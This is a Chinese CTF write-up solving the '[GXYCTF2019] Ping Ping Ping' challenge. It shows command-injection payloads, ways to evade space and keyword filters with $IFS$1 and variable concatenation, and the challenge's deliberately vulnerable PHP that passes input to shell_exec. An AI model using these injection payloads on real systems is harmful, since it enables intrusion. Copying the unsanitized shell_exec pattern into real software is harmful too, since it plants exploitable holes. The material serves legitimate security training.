题目链接:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
打开环境后如下所示。
题目直接提示了有一个 GET 参数,参数名是 "ip",尝试输入:?ip=127.0.0.1
后,结果如下所示。
可以看到,网站后端进行了一个 ping 操作,猜测参数:ip 可能存在命令注入漏洞。
尝试输入:ip=;id
,发现可以直接输出命令:id
的内容。
接下来先查看下当前目录下存在什么文件:ip=;ls
。
可以看到,当前目录下存在 flag.php 文件,猜测该文件中存放了 flag。
接下来尝试使用 Payload:;cat flag.php
来读取 flag.php 文件内容,结果如下。
根据响应包中的内容,可以知道后端判断了用户的输入是否存在空格,因此可以直接:$IFS$1
去绕过空格。(根据查询,IFS
是 "Internal Field Separator" 的缩写,它定义了 Shell 如何将输入拆分为单独的字段(默认值为空格、Tab 和换行符),修改 $IFS
可以改变命令行中字段分隔符的行为。也就是说,$IFS
就是一个标识,当遇到了该标识,Bash 将知道 $IFS
的前后是不同的字段)。
(此处,按笔者对 IFS 的理解,Payload:$IFS
即可起到空格的作用,但实际上是类似于 $IFS$1
或 $IFS$2
等的命令才可起到代替空格的作用,不解)。
Payload:?ip=;cat$IFS$1flag.php
。
可以看到,后端也把 flag 样式的字符串进行了检测,那么可以先去看看 index.php 文件的内容,看看后端是怎么个样子的代码。
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
可以看到,代码中进行了正则匹配,匹配了许多的符号,诸如:&
、?
、*
等,也对 flag 字符串进行了正则匹配,也就是说,参数:ip 里不能按顺序出现 f、l、a、g 四个字符。
Payload:?ip=;a=cat;b=g.php;c=fla;$a$IFS$c$b
。